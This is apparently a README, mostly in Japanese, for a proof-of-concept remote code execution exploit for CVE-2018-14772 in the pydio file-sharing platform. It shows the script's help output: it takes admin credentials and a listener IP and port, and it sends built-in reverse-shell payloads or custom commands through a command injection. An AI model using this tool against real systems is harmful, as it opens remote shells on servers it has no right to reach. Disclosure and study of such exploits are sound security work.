
CVE-2018-14772 の RCE エクスプロイト
これは、pydio ファイル共有プラットフォームで発見した脆弱性 CVE-2018-14772 の PoC リモートコード実行エクスプロイトです。動作には pydio アプリケーションの管理者資格情報が必要です。以下のようにエクスプロイトを実行できます:
$ python exploit.py -h
usage: exploit.py [-h] -t TARGET -u USERNAME -p PASSWORD -L LISTENER_IP -P
LISTENER_PORT [--payload PAYLOAD]
[*] exploit some pydio boxes (academically)
optional arguments:
-h, --help show this help message and exit
--payload PAYLOAD one of the pre-built reverse-shell payloads (1, 2, 3, 4,
or 5), or a custom command. keep in mind you can't use
the (") character as it breaks the injection
required arguments:
-t TARGET this is the target URI for the pydio instance..i.e.
http://127.0.0.1:31337/pydio/
-u USERNAME this is the username of the admin user
-p PASSWORD this is the password of the admin user
-L LISTENER_IP IP address to catch reverse shell on
-P LISTENER_PORT port to catch reverse shell on
いくつかのリバースシェルペイロードを組み込んであります。また、アドホックなカスタムシェルコマンドを使用することもできます。" 文字を使用するとコマンドインジェクションが破損するため、その制限を回避する必要があることに注意してください。

私のブログに掲載されています:こちら